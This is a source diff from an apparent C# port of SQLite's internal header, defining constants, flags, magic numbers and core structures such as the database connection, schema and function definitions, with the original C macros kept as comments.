+** use these hints to generate better code, sometimes. +*/ +#if (__GNUC__) && FALSE +//# define likely(X) __builtin_expect((X),1) +//# define unlikely(X) __builtin_expect((X),0) +#else + //# define likely(X) !!(X) + static bool likely( bool X ) { return !!X; } + //# define unlikely(X) !!(X) + static bool unlikely( bool X ) { return !!X; } +#endif + + //#include "sqlite3.h" + //#include "hash.h" + //#include "parse.h" + //#include + //#include + //#include + //#include + //#include + + /* + ** If compiling for a processor that lacks floating point support, + ** substitute integer for floating-point + */ +#if SQLITE_OMIT_FLOATING_POINT +//# define double sqlite_int64 +//# define LONGDOUBLE_TYPE sqlite_int64 +//#if !SQLITE_BIG_DBL +//# define SQLITE_BIG_DBL (((sqlite3_int64)1)<<60) +//# endif +//# define SQLITE_OMIT_DATETIME_FUNCS 1 +//# define SQLITE_OMIT_TRACE 1 +//# undef SQLITE_MIXED_ENDIAN_64BIT_FLOAT +//# undef SQLITE_HAVE_ISNAN +#endif +#if !SQLITE_BIG_DBL + const double SQLITE_BIG_DBL = ( ( (sqlite3_int64)1 ) << 60 );//# define SQLITE_BIG_DBL (1e99) +#endif + + /* +** OMIT_TEMPDB is set to 1 if SQLITE_OMIT_TEMPDB is defined, or 0 +** afterward. Having this macro allows us to cause the C compiler +** to omit code used by TEMP tables without messy #if !statements. +*/ +#if SQLITE_OMIT_TEMPDB +//#define OMIT_TEMPDB 1 +#else + static int OMIT_TEMPDB = 0; +#endif + + /* +** If the following macro is set to 1, then NULL values are considered +** distinct when determining whether or not two entries are the same +** in a UNIQUE index. This is the way PostgreSQL, Oracle, DB2, MySQL, +** OCELOT, and Firebird all work. The SQL92 spec explicitly says this +** is the way things are suppose to work. +** +** If the following macro is set to 0, the NULLs are indistinct for +** a UNIQUE index. In this mode, you can only have a single NULL entry +** for a column declared UNIQUE. This is the way Informix and SQL Server +** work. +*/ + const int NULL_DISTINCT_FOR_UNIQUE = 1; + + /* + ** The "file format" number is an integer that is incremented whenever + ** the VDBE-level file format changes. The following macros define the + ** the default file format for new databases and the maximum file format + ** that the library can read. + */ + public static int SQLITE_MAX_FILE_FORMAT = 4;//#define SQLITE_MAX_FILE_FORMAT 4 +#if !SQLITE_DEFAULT_FILE_FORMAT + static int SQLITE_DEFAULT_FILE_FORMAT = 1;//# define SQLITE_DEFAULT_FILE_FORMAT 1 +#endif + + /* +** Provide a default value for SQLITE_TEMP_STORE in case it is not specified +** on the command-line +*/ +#if !SQLITE_TEMP_STORE + static int SQLITE_TEMP_STORE = 1;//#define SQLITE_TEMP_STORE 1 +#endif + + /* +** GCC does not define the offsetof() macro so we'll have to do it +** ourselves. +*/ +#if !offsetof + //#define offsetof(STRUCTURE,FIELD) ((int)((char*)&((STRUCTURE*)0)->FIELD)) +#endif + + /* +** Check to see if this machine uses EBCDIC. (Yes, believe it or +** not, there are still machines out there that use EBCDIC.) +*/ +#if FALSE //'A' == '\301' +//# define SQLITE_EBCDIC 1 +#else + const int SQLITE_ASCII = 1;//#define SQLITE_ASCII 1 +#endif + + /* +** Integers of known sizes. These typedefs might change for architectures +** where the sizes very. Preprocessor macros are available so that the +** types can be conveniently redefined at compile-type. Like this: +** +** cc '-Du32PTR_TYPE=long long int' ... +*/ + //#if !u32_TYPE + //# ifdef HAVE_u32_T + //# define u32_TYPE u32_t + //# else + //# define u32_TYPE unsigned int + //# endif + //#endif + //#if !u3216_TYPE + //# ifdef HAVE_u3216_T + //# define u3216_TYPE u3216_t + //# else + //# define u3216_TYPE unsigned short int + //# endif + //#endif + //#if !INT16_TYPE + //# ifdef HAVE_INT16_T + //# define INT16_TYPE int16_t + //# else + //# define INT16_TYPE short int + //# endif + //#endif + //#if !u328_TYPE + //# ifdef HAVE_u328_T + //# define u328_TYPE u328_t + //# else + //# define u328_TYPE unsigned char + //# endif + //#endif + //#if !INT8_TYPE + //# ifdef HAVE_INT8_T + //# define INT8_TYPE int8_t + //# else + //# define INT8_TYPE signed char + //# endif + //#endif + //#if !LONGDOUBLE_TYPE + //# define LONGDOUBLE_TYPE long double + //#endif + //typedef sqlite_int64 i64; /* 8-byte signed integer */ + //typedef sqlite_u3264 u64; /* 8-byte unsigned integer */ + //typedef u32_TYPE u32; /* 4-byte unsigned integer */ + //typedef u3216_TYPE u16; /* 2-byte unsigned integer */ + //typedef INT16_TYPE i16; /* 2-byte signed integer */ + //typedef u328_TYPE u8; /* 1-byte unsigned integer */ + //typedef INT8_TYPE i8; /* 1-byte signed integer */ + + /* + ** SQLITE_MAX_U32 is a u64 constant that is the maximum u64 value + ** that can be stored in a u32 without loss of data. The value + ** is 0x00000000ffffffff. But because of quirks of some compilers, we + ** have to specify the value in the less intuitive manner shown: + */ + //#define SQLITE_MAX_U32 ((((u64)1)<<32)-1) + const u32 SQLITE_MAX_U32 = (u32)( ( ( (u64)1 ) << 32 ) - 1 ); + + + /* + ** Macros to determine whether the machine is big or little endian, + ** evaluated at runtime. + */ +#if SQLITE_AMALGAMATION +//const int sqlite3one = 1; +#else + const bool sqlite3one = true; +#endif +#if i386 || __i386__ || _M_IX86 +const int ;//#define SQLITE_BIGENDIAN 0 +const int ;//#define SQLITE_LITTLEENDIAN 1 +const int ;//#define SQLITE_UTF16NATIVE SQLITE_UTF16LE +#else + static u8 SQLITE_BIGENDIAN = 0;//#define SQLITE_BIGENDIAN (*(char *)(&sqlite3one)==0) + static u8 SQLITE_LITTLEENDIAN = 1;//#define SQLITE_LITTLEENDIAN (*(char *)(&sqlite3one)==1) + static u8 SQLITE_UTF16NATIVE = ( SQLITE_BIGENDIAN != 0 ? SQLITE_UTF16BE : SQLITE_UTF16LE );//#define SQLITE_UTF16NATIVE (SQLITE_BIGENDIAN?SQLITE_UTF16BE:SQLITE_UTF16LE) +#endif + + /* +** Constants for the largest and smallest possible 64-bit signed integers. +** These macros are designed to work correctly on both 32-bit and 64-bit +** compilers. +*/ + //#define LARGEST_INT64 (0xffffffff|(((i64)0x7fffffff)<<32)) + //#define SMALLEST_INT64 (((i64)-1) - LARGEST_INT64) + const i64 LARGEST_INT64 = i64.MaxValue;//( 0xffffffff | ( ( (i64)0x7fffffff ) << 32 ) ); + const i64 SMALLEST_INT64 = i64.MinValue;//( ( ( i64 ) - 1 ) - LARGEST_INT64 ); + + /* + ** Round up a number to the next larger multiple of 8. This is used + ** to force 8-byte alignment on 64-bit architectures. + */ + //#define ROUND8(x) (((x)+7)&~7) + static int ROUND8( int x ) { return ( x + 7 ) & ~7; } + + /* + ** Round down to the nearest multiple of 8 + */ + //#define ROUNDDOWN8(x) ((x)&~7) + static int ROUNDDOWN8( int x ) { return x & ~7; } + + /* + ** Assert that the pointer X is aligned to an 8-byte boundary. + */ + //#define EIGHT_BYTE_ALIGNMENT(X) ((((char*)(X) - (char*)0)&7)==0) + + /* + ** An instance of the following structure is used to store the busy-handler + ** callback for a given sqlite handle. + ** + ** The sqlite.busyHandler member of the sqlite struct contains the busy + ** callback for the database handle. Each pager opened via the sqlite + ** handle is passed a pointer to sqlite.busyHandler. The busy-handler + ** callback is currently invoked only from within pager.c. + */ + //typedef struct BusyHandler BusyHandler; + public class BusyHandler + { + public dxBusy xFunc;//)(void *,int); /* The busy callback */ + public object pArg; /* First arg to busy callback */ + public int nBusy; /* Incremented with each busy call */ + }; + + /* + ** Name of the master database table. The master database table + ** is a special table that holds the names and attributes of all + ** user tables and indices. + */ + const string MASTER_NAME = "sqlite_master";//#define MASTER_NAME "sqlite_master" + const string TEMP_MASTER_NAME = "sqlite_temp_master";//#define TEMP_MASTER_NAME "sqlite_temp_master" + + /* + ** The root-page of the master database table. + */ + const int MASTER_ROOT = 1;//#define MASTER_ROOT 1 + + /* + ** The name of the schema table. + */ + static string SCHEMA_TABLE( int x ) //#define SCHEMA_TABLE(x) ((!OMIT_TEMPDB)&&(x==1)?TEMP_MASTER_NAME:MASTER_NAME) + { return ( ( OMIT_TEMPDB == 0 ) && ( x == 1 ) ? TEMP_MASTER_NAME : MASTER_NAME ); } + + /* + ** A convenience macro that returns the number of elements in + ** an array. + */ + //#define ArraySize(X) ((int)(sizeof(X)/sizeof(X[0]))) + static int ArraySize( T[] x ) { return x.Length; } + + /* + ** The following value as a destructor means to use //sqlite3DbFree(). + ** This is an internal extension to SQLITE_STATIC and SQLITE_TRANSIENT. + */ + //#define SQLITE_DYNAMIC ((sqlite3_destructor_type)//sqlite3DbFree) + static dxDel SQLITE_DYNAMIC; + + /* + ** When SQLITE_OMIT_WSD is defined, it means that the target platform does + ** not support Writable Static Data (WSD) such as global and static variables. + ** All variables must either be on the stack or dynamically allocated from + ** the heap. When WSD is unsupported, the variable declarations scattered + ** throughout the SQLite code must become constants instead. The SQLITE_WSD + ** macro is used for this purpose. And instead of referencing the variable + ** directly, we use its constant as a key to lookup the run-time allocated + ** buffer that holds real variable. The constant is also the initializer + ** for the run-time allocated buffer. + ** + ** In the usual case where WSD is supported, the SQLITE_WSD and GLOBAL + ** macros become no-ops and have zero performance impact. + */ +#if SQLITE_OMIT_WSD +//#define SQLITE_WSD const +//#define GLOBAL(t,v) (*(t*)sqlite3_wsd_find((void*)&(v), sizeof(v))) +//#define sqlite3GlobalConfig GLOBAL(struct Sqlite3Config, sqlite3Config) +int sqlite3_wsd_init(int N, int J); +void *sqlite3_wsd_find(void *K, int L); +#else + //#define SQLITE_WSD + //#define GLOBAL(t,v) v + //#define sqlite3GlobalConfig sqlite3Config + static Sqlite3Config sqlite3GlobalConfig; +#endif + + /* +** The following macros are used to suppress compiler warnings and to +** make it clear to human readers when a function parameter is deliberately +** left unused within the body of a function. This usually happens when +** a function is called via a function pointer. For example the +** implementation of an SQL aggregate step callback may not use the +** parameter indicating the number of arguments passed to the aggregate, +** if it knows that this is enforced elsewhere. +** +** When a function parameter is not used at all within the body of a function, +** it is generally named "NotUsed" or "NotUsed2" to make things even clearer. +** However, these macros may also be used to suppress warnings related to +** parameters that may or may not be used depending on compilation options. +** For example those parameters only used in assert() statements. In these +** cases the parameters are named as per the usual conventions. +*/ + //#define UNUSED_PARAMETER(x) (void)(x) + static void UNUSED_PARAMETER( T x ) { } + + //#define UNUSED_PARAMETER2(x,y) UNUSED_PARAMETER(x),UNUSED_PARAMETER(y) + static void UNUSED_PARAMETER2( T1 x, T2 y ) { UNUSED_PARAMETER( x ); UNUSED_PARAMETER( y ); } + + /* + ** Forward references to structures + */ + //typedef struct AggInfo AggInfo; + //typedef struct AuthContext AuthContext; + //typedef struct AutoincInfo AutoincInfo; + //typedef struct Bitvec Bitvec; + //typedef struct RowSet RowSet; + //typedef struct CollSeq CollSeq; + //typedef struct Column Column; + //typedef struct Db Db; + //typedef struct Schema Schema; + //typedef struct Expr Expr; + //typedef struct ExprList ExprList; + //typedef struct ExprSpan ExprSpan; + //typedef struct FKey FKey; + //typedef struct FuncDef FuncDef; + //typedef struct IdList IdList; + //typedef struct Index Index; + //typedef struct KeyClass KeyClass; + //typedef struct KeyInfo KeyInfo; + //typedef struct Lookaside Lookaside; + //typedef struct LookasideSlot LookasideSlot; + //typedef struct Module Module; + //typedef struct NameContext NameContext; + //typedef struct Parse Parse; + //typedef struct Savepoint Savepoint; + //typedef struct Select Select; + //typedef struct SrcList SrcList; + //typedef struct StrAccum StrAccum; + //typedef struct Table Table; + //typedef struct TableLock TableLock; + //typedef struct Token Token; + //typedef struct TriggerStack TriggerStack; + //typedef struct TriggerStep TriggerStep; + //typedef struct Trigger Trigger; + //typedef struct UnpackedRecord UnpackedRecord; + //typedef struct VTable VTable; + //typedef struct Walker Walker; + //typedef struct WherePlan WherePlan; + //typedef struct WhereInfo WhereInfo; + //typedef struct WhereLevel WhereLevel; + + /* + ** Defer sourcing vdbe.h and btree.h until after the "u8" and + ** "BusyHandler" typedefs. vdbe.h also requires a few of the opaque + ** pointer types (i.e. FuncDef) defined above. + */ + //#include "btree.h" + //#include "vdbe.h" + //#include "pager.h" + //#include "pcache_g.h" + + //#include "os.h" + //#include "mutex.h" + + /* + ** Each database file to be accessed by the system is an instance + ** of the following structure. There are normally two of these structures + ** in the sqlite.aDb[] array. aDb[0] is the main database file and + ** aDb[1] is the database file used to hold temporary tables. Additional + ** databases may be attached. + */ + public class Db + { + public string zName; /* Name of this database */ + public Btree pBt; /* The B Tree structure for this database file */ + public u8 inTrans; /* 0: not writable. 1: Transaction. 2: Checkpoint */ + public u8 safety_level; /* How aggressive at syncing data to disk */ + public Schema pSchema; /* Pointer to database schema (possibly shared) */ + }; + + /* + ** An instance of the following structure stores a database schema. + ** + ** If there are no virtual tables configured in this schema, the + ** Schema.db variable is set to NULL. After the first virtual table + ** has been added, it is set to point to the database connection + ** used to create the connection. Once a virtual table has been + ** added to the Schema structure and the Schema.db variable populated, + ** only that database connection may use the Schema to prepare + ** statements. + */ + public class Schema + { + public int schema_cookie; /* Database schema version number for this file */ + public Hash tblHash = new Hash(); /* All tables indexed by name */ + public Hash idxHash = new Hash(); /* All (named) indices indexed by name */ + public Hash trigHash = new Hash();/* All triggers indexed by name */ + public Table pSeqTab; /* The sqlite_sequence table used by AUTOINCREMENT */ + public u8 file_format; /* Schema format version for this file */ + public u8 enc; /* Text encoding used by this database */ + public u16 flags; /* Flags associated with this schema */ + public int cache_size; /* Number of pages to use in the cache */ +#if !SQLITE_OMIT_VIRTUALTABLE +public sqlite3 db; /* "Owner" connection. See comment above */ +#endif + public Schema Copy() + { + if ( this == null ) + return null; + else + { + Schema cp = (Schema)MemberwiseClone(); + return cp; + } + } + }; + + /* + ** These macros can be used to test, set, or clear bits in the + ** Db.flags field. + */ + //#define DbHasProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))==(P)) + static bool DbHasProperty( sqlite3 D, int I, ushort P ) { return ( D.aDb[I].pSchema.flags & P ) == P; } + //#define DbHasAnyProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))!=0) + //#define DbSetProperty(D,I,P) (D)->aDb[I].pSchema->flags|=(P) + static void DbSetProperty( sqlite3 D, int I, ushort P ) { D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags | P ); } + //#define DbClearProperty(D,I,P) (D)->aDb[I].pSchema->flags&=~(P) + static void DbClearProperty( sqlite3 D, int I, ushort P ) { D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags & ~P ); } + /* + ** Allowed values for the DB.flags field. + ** + ** The DB_SchemaLoaded flag is set after the database schema has been + ** read into internal hash tables. + ** + ** DB_UnresetViews means that one or more views have column names that + ** have been filled out. If the schema changes, these column names might + ** changes and so the view will need to be reset. + */ + //#define DB_SchemaLoaded 0x0001 /* The schema has been loaded */ + //#define DB_UnresetViews 0x0002 /* Some views have defined column names */ + //#define DB_Empty 0x0004 /* The file is empty (length 0 bytes) */ + const u16 DB_SchemaLoaded = 0x0001; + const u16 DB_UnresetViews = 0x0002; + const u16 DB_Empty = 0x0004; + + /* + ** The number of different kinds of things that can be limited + ** using the sqlite3_limit() interface. + */ + //#define SQLITE_N_LIMIT (SQLITE_LIMIT_VARIABLE_NUMBER+1) + const int SQLITE_N_LIMIT = SQLITE_LIMIT_VARIABLE_NUMBER + 1; + + /* + ** Lookaside malloc is a set of fixed-size buffers that can be used + ** to satisfy small transient memory allocation requests for objects + ** associated with a particular database connection. The use of + ** lookaside malloc provides a significant performance enhancement + ** (approx 10%) by avoiding numerous malloc/free requests while parsing + ** SQL statements. + ** + ** The Lookaside structure holds configuration information about the + ** lookaside malloc subsystem. Each available memory allocation in + ** the lookaside subsystem is stored on a linked list of LookasideSlot + ** objects. + ** + ** Lookaside allocations are only allowed for objects that are associated + ** with a particular database connection. Hence, schema information cannot + ** be stored in lookaside because in shared cache mode the schema information + ** is shared by multiple database connections. Therefore, while parsing + ** schema information, the Lookaside.bEnabled flag is cleared so that + ** lookaside allocations are not used to construct the schema objects. + */ + public class Lookaside + { + public int sz; /* Size of each buffer in bytes */ + public u8 bEnabled; /* False to disable new lookaside allocations */ + public bool bMalloced; /* True if pStart obtained from sqlite3_malloc() */ + public int nOut; /* Number of buffers currently checked out */ + public int mxOut; /* Highwater mark for nOut */ + public LookasideSlot pFree; /* List of available buffers */ + public int pStart; /* First byte of available memory space */ + public int pEnd; /* First byte past end of available space */ + }; + public class LookasideSlot + { + public LookasideSlot pNext; /* Next buffer in the list of free buffers */ + }; + + /* + ** A hash table for function definitions. + ** + ** Hash each FuncDef structure into one of the FuncDefHash.a[] slots. + ** Collisions are on the FuncDef.pHash chain. + */ + public class FuncDefHash + { + public FuncDef[] a = new FuncDef[23]; /* Hash table for functions */ + }; + + /* + ** Each database is an instance of the following structure. + ** + ** The sqlite.lastRowid records the last insert rowid generated by an + ** insert statement. Inserts on views do not affect its value. Each + ** trigger has its own context, so that lastRowid can be updated inside + ** triggers as usual. The previous value will be restored once the trigger + ** exits. Upon entering a before or instead of trigger, lastRowid is no + ** longer (since after version 2.8.12) reset to -1. + ** + ** The sqlite.nChange does not count changes within triggers and keeps no + ** context. It is reset at start of sqlite3_exec. + ** The sqlite.lsChange represents the number of changes made by the last + ** insert, update, or delete statement. It remains constant throughout the + ** length of a statement and is then updated by OP_SetCounts. It keeps a + ** context stack just like lastRowid so that the count of changes + ** within a trigger is not seen outside the trigger. Changes to views do not + ** affect the value of lsChange. + ** The sqlite.csChange keeps track of the number of current changes (since + ** the last statement) and is used to update sqlite_lsChange. + ** + ** The member variables sqlite.errCode, sqlite.zErrMsg and sqlite.zErrMsg16 + ** store the most recent error code and, if applicable, string. The + ** internal function sqlite3Error() is used to set these variables + ** consistently. + */ + public class sqlite3 + { + public sqlite3_vfs pVfs; /* OS Interface */ + public int nDb; /* Number of backends currently in use */ + public Db[] aDb = new Db[SQLITE_MAX_ATTACHED]; /* All backends */ + public int flags; /* Miscellaneous flags. See below */ + public int openFlags; /* Flags passed to sqlite3_vfs.xOpen() */ + public int errCode; /* Most recent error code (SQLITE_*) */ + public int errMask; /* & result codes with this before returning */ + public u8 autoCommit; /* The auto-commit flag. */ + public u8 temp_store; /* 1: file 2: memory 0: default */ + // Cannot happen under C# + // public u8 mallocFailed; /* True if we have seen a malloc failure */ + public u8 dfltLockMode; /* Default locking-mode for attached dbs */ + public u8 dfltJournalMode; /* Default journal mode for attached dbs */ + public int nextAutovac; /* Autovac setting after VACUUM if >=0 */ + public int nextPagesize; /* Pagesize after VACUUM if >0 */ + public int nTable; /* Number of tables in the database */ + public CollSeq pDfltColl; /* The default collating sequence (BINARY) */ + public i64 lastRowid; /* ROWID of most recent insert (see above) */ + public u32 magic; /* Magic number for detect library misuse */ + public int nChange; /* Value returned by sqlite3_changes() */ + public int nTotalChange; /* Value returned by sqlite3_total_changes() */ + public sqlite3_mutex mutex; /* Connection mutex */ + public int[] aLimit = new int[SQLITE_N_LIMIT]; /* Limits */ + public class sqlite3InitInfo + { /* Information used during initialization */ + public int iDb; /* When back is being initialized */ + public int newTnum; /* Rootpage of table being initialized */ + public u8 busy; /* TRUE if currently initializing */ + public u8 orphanTrigger; /* Last statement is orphaned TEMP trigger */ + }; + public sqlite3InitInfo init = new sqlite3InitInfo(); + public int nExtension; /* Number of loaded extensions */ + public object[] aExtension; /* Array of shared library handles */ + public Vdbe pVdbe; /* List of active virtual machines */ + public int activeVdbeCnt; /* Number of VDBEs currently executing */ + public int writeVdbeCnt; /* Number of active VDBEs that are writing */ + public dxTrace xTrace;//)(void*,const char*); /* Trace function */ + public object pTraceArg; /* Argument to the trace function */ + public dxProfile xProfile;//)(void*,const char*,u64); /* Profiling function */ + public object pProfileArg; /* Argument to profile function */ + public object pCommitArg; /* Argument to xCommitCallback() */ + public dxCommitCallback xCommitCallback;//)(void*); /* Invoked at every commit. */ + public object pRollbackArg; /* Argument to xRollbackCallback() */ + public dxRollbackCallback xRollbackCallback;//)(void*); /* Invoked at every commit. */ + public object pUpdateArg; + public dxUpdateCallback xUpdateCallback;//)(void*,int, const char*,const char*,sqlite_int64); + public dxCollNeeded xCollNeeded;//)(void*,sqlite3*,int eTextRep,const char*); + public dxCollNeeded xCollNeeded16;//)(void*,sqlite3*,int eTextRep,const void*); + public object pCollNeededArg; + public sqlite3_value pErr; /* Most recent error message */ + public string zErrMsg; /* Most recent error message (UTF-8 encoded) */ + public string zErrMsg16; /* Most recent error message (UTF-16 encoded) */ + public struct _u1 + { + public bool isInterrupted; /* True if sqlite3_interrupt has been called */ + public double notUsed1; /* Spacer */ + } + public _u1 u1; + public Lookaside lookaside = new Lookaside(); /* Lookaside malloc configuration */ +#if !SQLITE_OMIT_AUTHORIZATION +public dxAuth xAuth;//)(void*,int,const char*,const char*,const char*,const char*); +/* Access authorization function */ +public object pAuthArg; /* 1st argument to the access auth function */ +#endif +#if !SQLITE_OMIT_PROGRESS_CALLBACK + public dxProgress xProgress;//)(void *); /* The progress callback */ + public object pProgressArg; /* Argument to the progress callback */ + public int nProgressOps; /* Number of opcodes for progress callback */ +#endif +#if !SQLITE_OMIT_VIRTUALTABLE + public Hash aModule; /* populated by sqlite3_create_module() */ + public Table pVTab; /* vtab with active Connect/Create method */ + public VTable aVTrans; /* Virtual tables with open transactions */ + public int nVTrans; /* Allocated size of aVTrans */ + public VTable pDisconnect; /* Disconnect these in next sqlite3_prepare() */ +#endif + public FuncDefHash aFunc = new FuncDefHash(); /* Hash table of connection functions */ + public Hash aCollSeq = new Hash(); /* All collating sequences */ + public BusyHandler busyHandler = new BusyHandler(); /* Busy callback */ + public int busyTimeout; /* Busy handler timeout, in msec */ + public Db[] aDbStatic = new Db[] { new Db(), new Db() }; /* Static space for the 2 default backends */ + public Savepoint pSavepoint; /* List of active savepoints */ + public int nSavepoint; /* Number of non-transaction savepoints */ + public int nStatement; /* Number of nested statement-transactions */ + public u8 isTransactionSavepoint; /* True if the outermost savepoint is a TS */ +#if SQLITE_ENABLE_UNLOCK_NOTIFY +/* The following variables are all protected by the STATIC_MASTER +** mutex, not by sqlite3.mutex. They are used by code in notify.c. +** +** When X.pUnlockConnection==Y, that means that X is waiting for Y to +** unlock so that it can proceed. +** +** When X.pBlockingConnection==Y, that means that something that X tried +** tried to do recently failed with an SQLITE_LOCKED error due to locks +** held by Y. +*/ +sqlite3 *pBlockingConnection; /* Connection that caused SQLITE_LOCKED */ +sqlite3 *pUnlockConnection; /* Connection to watch for unlock */ +void *pUnlockArg; /* Argument to xUnlockNotify */ +void (*xUnlockNotify)(void **, int); /* Unlock notify callback */ +sqlite3 *pNextBlocked; /* Next in list of all blocked connections */ +#endif + }; + + /* + ** A macro to discover the encoding of a database. + */ + //#define ENC(db) ((db)->aDb[0].pSchema->enc) + static u8 ENC( sqlite3 db ) { return db.aDb[0].pSchema.enc; } + + /* + ** Possible values for the sqlite.flags and or Db.flags fields. + ** + ** On sqlite.flags, the SQLITE_InTrans value means that we have + ** executed a BEGIN. On Db.flags, SQLITE_InTrans means a statement + ** transaction is active on that particular database file. + */ + const int SQLITE_VdbeTrace = 0x00000001;//#define SQLITE_VdbeTrace 0x00000001 /* True to trace VDBE execution */ + const int SQLITE_InTrans = 0x00000008;//#define SQLITE_InTrans 0x00000008 /* True if in a transaction */ + const int SQLITE_InternChanges = 0x00000010;//#define SQLITE_InternChanges 0x00000010 /* Uncommitted Hash table changes */ + const int SQLITE_FullColNames = 0x00000020;//#define SQLITE_FullColNames 0x00000020 /* Show full column names on SELECT */ + const int SQLITE_ShortColNames = 0x00000040;//#define SQLITE_ShortColNames 0x00000040 /* Show short columns names */ + const int SQLITE_CountRows = 0x00000080;//#define SQLITE_CountRows 0x00000080 /* Count rows changed by INSERT, */ + // /* DELETE, or UPDATE and return */ + // /* the count using a callback. */ + const int SQLITE_NullCallback = 0x00000100; //#define SQLITE_NullCallback 0x00000100 /* Invoke the callback once if the */ + // /* result set is empty */ + const int SQLITE_SqlTrace = 0x00000200; //#define SQLITE_SqlTrace 0x00000200 /* Debug print SQL as it executes */ + const int SQLITE_VdbeListing = 0x00000400; //#define SQLITE_VdbeListing 0x00000400 /* Debug listings of VDBE programs */ + const int SQLITE_WriteSchema = 0x00000800; //#define SQLITE_WriteSchema 0x00000800 /* OK to update SQLITE_MASTER */ + const int SQLITE_NoReadlock = 0x00001000; //#define SQLITE_NoReadlock 0x00001000 /* Readlocks are omitted when + // ** accessing read-only databases */ + const int SQLITE_IgnoreChecks = 0x00002000; //#define SQLITE_IgnoreChecks 0x00002000 /* Do not enforce check constraints */ + const int SQLITE_ReadUncommitted = 0x00004000;//#define SQLITE_ReadUncommitted 0x00004000 /* For shared-cache mode */ + const int SQLITE_LegacyFileFmt = 0x00008000; //#define SQLITE_LegacyFileFmt 0x00008000 /* Create new databases in format 1 */ + const int SQLITE_FullFSync = 0x00010000; //#define SQLITE_FullFSync 0x00010000 /* Use full fsync on the backend */ + const int SQLITE_LoadExtension = 0x00020000; //#define SQLITE_LoadExtension 0x00020000 /* Enable load_extension */ + + const int SQLITE_RecoveryMode = 0x00040000; //#define SQLITE_RecoveryMode 0x00040000 /* Ignore schema errors */ + const int SQLITE_ReverseOrder = 0x00100000; //#define SQLITE_ReverseOrder 0x00100000 /* Reverse unordered SELECTs */ + + /* + ** Possible values for the sqlite.magic field. + ** The numbers are obtained at random and have no special meaning, other + ** than being distinct from one another. + */ + const int SQLITE_MAGIC_OPEN = 0x1029a697; //#define SQLITE_MAGIC_OPEN 0xa029a697 /* Database is open */ + const int SQLITE_MAGIC_CLOSED = 0x2f3c2d33; //#define SQLITE_MAGIC_CLOSED 0x9f3c2d33 /* Database is closed */ + const int SQLITE_MAGIC_SICK = 0x3b771290; //#define SQLITE_MAGIC_SICK 0x4b771290 /* Error and awaiting close */ + const int SQLITE_MAGIC_BUSY = 0x403b7906; //#define SQLITE_MAGIC_BUSY 0xf03b7906 /* Database currently in use */ + const int SQLITE_MAGIC_ERROR = 0x55357930; //#define SQLITE_MAGIC_ERROR 0xb5357930 /* An SQLITE_MISUSE error occurred */ + + /* + ** Each SQL function is defined by an instance of the following + ** structure. A pointer to this structure is stored in the sqlite.aFunc + ** hash table. When multiple functions have the same name, the hash table + ** points to a linked list of these structures. + */ + public class FuncDef + { + public i16 nArg; /* Number of arguments. -1 means unlimited */ + public u8 iPrefEnc; /* Preferred text encoding (SQLITE_UTF8, 16LE, 16BE) */ + public u8 flags; /* Some combination of SQLITE_FUNC_* */ + public object pUserData; /* User data parameter */ + public FuncDef pNext; /* Next function with same name */ + public dxFunc xFunc;//)(sqlite3_context*,int,sqlite3_value**); /* Regular function */ + public dxStep xStep;//)(sqlite3_context*,int,sqlite3_value**); /* Aggregate step */ + public dxFinal xFinalize;//)(sqlite3_context*); /* Aggregate finalizer */ + public string zName; /* SQL name of the function. */ + public FuncDef pHash; /* Next with a different name but the same hash */ + + + public FuncDef() + { } + + public FuncDef( i16 nArg, u8 iPrefEnc, u8 iflags, object pUserData, FuncDef pNext, dxFunc xFunc, dxStep xStep, dxFinal xFinalize, string zName, FuncDef pHash ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = iflags; + this.pUserData = pUserData; + this.pNext = pNext; + this.xFunc = xFunc; + this.xStep = xStep; + this.xFinalize = xFinalize; + this.zName = zName; + this.pHash = pHash; + } + public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxFunc xFunc ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = iflags; + this.pUserData = iArg; + this.pNext = null; + this.xFunc = xFunc; + this.xStep = null; + this.xFinalize = null; + this.zName = zName; + } + + public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxStep xStep, dxFinal xFinal ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = iflags; + this.pUserData = iArg; + this.pNext = null; + this.xFunc = null; + this.xStep = xStep; + this.xFinalize = xFinal; + this.zName = zName; + } + + public FuncDef( string zName, u8 iPrefEnc, i16 nArg, object arg, dxFunc xFunc, u8 flags ) + { + this.nArg = nArg; + this.iPrefEnc = iPrefEnc; + this.flags = flags; + this.pUserData = arg; + this.pNext = null; + this.xFunc = xFunc; + this.xStep = null; + this.xFinalize = null; + this.zName = zName; + } + + }; + + /* + ** Possible values for FuncDef.flags + */ + //#define SQLITE_FUNC_LIKE 0x01 /* Candidate for the LIKE optimization */ + //#define SQLITE_FUNC_CASE 0x02 /* Case-sensitive LIKE-type function */ + //#define SQLITE_FUNC_EPHEM 0x04 /* Ephemeral. Delete with VDBE */ + //#define SQLITE_FUNC_NEEDCOLL 0x08 /* sqlite3GetFuncCollSeq() might be called */ + //#define SQLITE_FUNC_PRIVATE 0x10 /* Allowed for internal use only */ + //#define SQLITE_FUNC_COUNT 0x20 /* Built-in count(*) aggregate */ + const int SQLITE_FUNC_LIKE = 0x01; /* Candidate for the LIKE optimization */ + const int SQLITE_FUNC_CASE = 0x02; /* Case-sensitive LIKE-type function */ + const int SQLITE_FUNC_EPHEM = 0x04; /* Ephermeral. Delete with VDBE */ + const int SQLITE_FUNC_NEEDCOLL = 0x08;/* sqlite3GetFuncCollSeq() might be called */ + const int SQLITE_FUNC_PRIVATE = 0x10; /* Allowed for internal use only */ + const int SQLITE_FUNC_COUNT = 0x20; /* Built-in count(*) aggregate */ + + + /* + ** The following three macros, FUNCTION(), LIKEFUNC() and AGGREGATE() are + ** used to create the initializers for the FuncDef structures. + ** + ** FUNCTION(zName, nArg, iArg, bNC, xFunc) + ** Used to create a scalar function definition of a function zName + ** implemented by C function xFunc that accepts nArg arguments. The + ** value passed as iArg is cast to a (void*) and made available + ** as the user-data (sqlite3_user_data()) for the function. If + ** argument bNC is true, then the SQLITE_FUNC_NEEDCOLL flag is set. + ** + ** AGGREGATE(zName, nArg, iArg, bNC, xStep, xFinal) + ** Used to create an aggregate function definition implemented by + ** the C functions xStep and xFinal. The first four 